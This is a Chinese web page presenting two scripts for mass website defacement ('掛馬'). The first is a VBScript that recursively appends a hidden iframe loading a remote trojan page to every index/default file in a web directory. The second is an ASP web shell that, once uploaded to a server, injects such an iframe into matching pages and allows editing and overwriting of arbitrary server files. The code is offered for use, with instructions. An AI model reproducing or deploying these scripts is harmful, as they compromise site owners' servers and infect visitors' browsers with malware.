主頁 > 知識庫 > 兩個批量掛馬vbs腳本代碼

兩個批量掛馬vbs腳本代碼

熱門標(biāo)簽:服務(wù)器配置 網(wǎng)站文章發(fā)布 美圖手機 鐵路電話系統(tǒng) 銀行業(yè)務(wù) 智能手機 檢查注冊表項 呼叫中心市場需求
scan.vbe
cscript scan.vbe web目錄
程序代碼:

'版權(quán)信息
br="************************************"  vbCrLf
br=br  "* VBS 批量掛馬腳本 *"  vbCrLf
br=br  "* BY BanLG *"  vbCrLf
br=br  "************************************"  vbCrLf  vbCrLf
br=br  "cscript scan.vbe D:\"  vbCrLf 

'馬的地址
ma="/Script>IfRAME height=0 width=0 sRc="  chr(34)  "http://www.hacker.com.cn"chr( … t;/IFrAME>" 
'要掛馬的頁面如果嫌不夠還可以自己再加,記得要用”|”隔開
MyString="index.php|index.asp|index.html|index.htm|default.php|default.asp|default.html|default.htm|index.aspx|default.aspx"
'以"|"為分隔符拆分成數(shù)組
MyArray = Split(MyString, "|", -1, 1)

web=WScript.Arguments(0)

'如果web為空退出腳本
if web="" then
Wscript.echo (br)
window.Close
end if

Wscript.echo (br)  "馬的地址:"  ma  vbCrLf  vbCrLf
'創(chuàng)建對象
Set fso = createObject("Scripting.FileSystemObject")

'開始掃描掛馬
scan(web)

'scan定義函數(shù),掃描查找符合條件的文件把馬的內(nèi)容寫到文件的結(jié)尾
sub scan(filesder) 
set filesder=fso.getfolder(filesder)
'得到當(dāng)前目錄的所有文件集合
set files=filesder.files 
'獲取文件名
for each fext in files
Set file1 = fso.GetFile(fext)
filesext=file1.Name
'把文件名轉(zhuǎn)換成小寫字母
ext=lcase(filesext) 
For Each index in MyArray
'判斷文件是不是我們在MyString里限定的文件,如果是就寫馬
if ext=lcase(index) then
Set ts = fso.OpenTextFile(fext,8) '打開文件并在文件末尾進(jìn)行寫操作
ts.WriteLine(ma)
ts.Close
echo=""
echo=fext  " ………….ok"
Wscript.echo (echo)
end if
next
next

set subfolders=filesder.subfolders
for each subfolder in subfolders '搜索其他目錄,遞歸調(diào)用
scan(subfolder)
next 
end sub


FSO掛馬.asp
傳進(jìn)服務(wù)器以后 直接輸入需要掛馬的路徑就可以直接掛了
程序代碼:

%Server.ScriptTimeout=10000
Response.Buffer=False
%>
html>
head>
title>/title>
**** http-equiv="Content-Type" content="text/html; charset=gb2312">
/head>
body>
%
ASP_SELF=Request.ServerVariables("PATH_INFO")

s=Request("fd")
ex=Request("ex")
pth=Request("pth")
newcnt=Request("newcnt")

If ex>"" AND pth>"" Then
select Case ex
Case "edit"
CALL file_show(pth)
Case "save"
CALL file_save(pth)
End select
Else
%>
form action="%=ASP_SELF%>" method="POST">
FOLDER (ABSOLUTE PATH):
input type="text" name="fd" size="40">
input type="submit" value="SUBMIT">
/form>
%End If%>
%
Function IsPattern(patt,str)
Set regEx=New RegExp
regEx.Pattern=patt
regEx.IgnoreCase=True
retVal=regEx.Test(str)
Set regEx=Nothing
If retVal=True Then
IsPattern=True
Else
IsPattern=False
End If
End Function

If IsPattern("[^ab]{1}:{1}(\\|\/)",s) Then
sch s
Else
If s>"" Then Response.Write "Invalid Agrument!"
End If

Sub sch(s)
oN eRrOr rEsUmE nExT
Set fs=Server.createObject("Scripting.FileSystemObject")
Set fd=fs.GetFolder(s)
Set fi=fd.Files
Set sf=fd.SubFolders
For Each f in fi
rtn=f.Path
step_all rtn
Next
If sf.Count>0 Then
For Each l In sf
sch l
Next
End If
End Sub

Sub step_all(agr)
retVal=IsPattern("(\\|\/)(default|index)\.(htm|html|asp|php|jsp|aspx)\b",agr)
If retVal Then
step1 agr
step2 agr
Else
Exit Sub
End If
End Sub
%>
%Sub step1(str1)%>
a href="%=ASP_SELF%>?ex=editpth=%=str1%>" target="_blank">%=str1%>/a>br>
%End Sub%>
%
Sub step2(str2)
addcode="iframe src=http://www.21o.net/mm/mm.htm(修改為你的馬的地址,不要加""不然會出錯) width=0 height=0 frameborder=0>/iframe>"
Set fs=Server.createObject("Scripting.FileSystemObject")
isExist=fs.FileExists(str2)
If isExist Then
Set f=fs.GetFile(str2)
Set f_addcode=f.OpenAsTextStream(8,-2)
f_addcode.Write addcode
f_addcode.Close
Set f=Nothing
End If
Set fs=Nothing
End Sub
%>
%
Sub file_show(fname)
Set fs1=Server.createObject("Scripting.FileSystemObject")
isExist=fs1.FileExists(fname)
If isExist Then
Set fcnt=fs1.OpenTextFile(fname)
cnt=fcnt.ReadAll
fcnt.Close
Set fs1=Nothing%>
FILE: %=fname%>
form action="%=ASP_SELF%>" method="POST">
textarea name="newcnt" cols="100" rows="30">%=cnt%>/textarea>
input type="hidden" name="pth" value="%=fname%>">
input type="hidden" name="ex" value="save">
input type="submit" value="SAVE">
/form>
%Else%>
p>THE FILE IS NOT EXIT OR HAVE deleteD./p>
%
End If
End Sub
%>
%
Sub file_save(fname)
Set fs2=Server.createObject("Scripting.FileSystemObject")
Set newf=fs2.createTextFile(fname,True)
newf.Write newcnt
newf.Close
Set fs2=Nothing
Response.Write "p>THE FILE WAS MODIFIED SUCCESSFULLY./p>" 
End Sub
%>
/body>
/html>
您可能感興趣的文章:
  • js cookies 常見網(wǎng)頁木馬掛馬代碼 24小時只加載一次
  • 阻止網(wǎng)頁掛馬的若干工具小集合
  • 掛馬代碼 網(wǎng)頁掛馬分析
  • Asp常見掛馬方式大總結(jié)
  • php下批量掛馬和批量清馬代碼
  • 數(shù)據(jù)庫中的內(nèi)容字段被掛馬的替換方法 SQL注入
  • 最近比較流行的數(shù)據(jù)庫掛馬
  • 讓McAfee來終結(jié)網(wǎng)站被掛馬的時代圖文教程
  • 利用css實現(xiàn)掛馬的代碼
  • 網(wǎng)頁掛馬方式整理及詳細(xì)介紹

標(biāo)簽:長治 沈陽 新疆 樂山 上海 河南 紅河 滄州

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《兩個批量掛馬vbs腳本代碼》,本文關(guān)鍵詞  ;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 收縮
    • 微信客服
    • 微信二維碼
    • 電話咨詢

    • 400-1100-266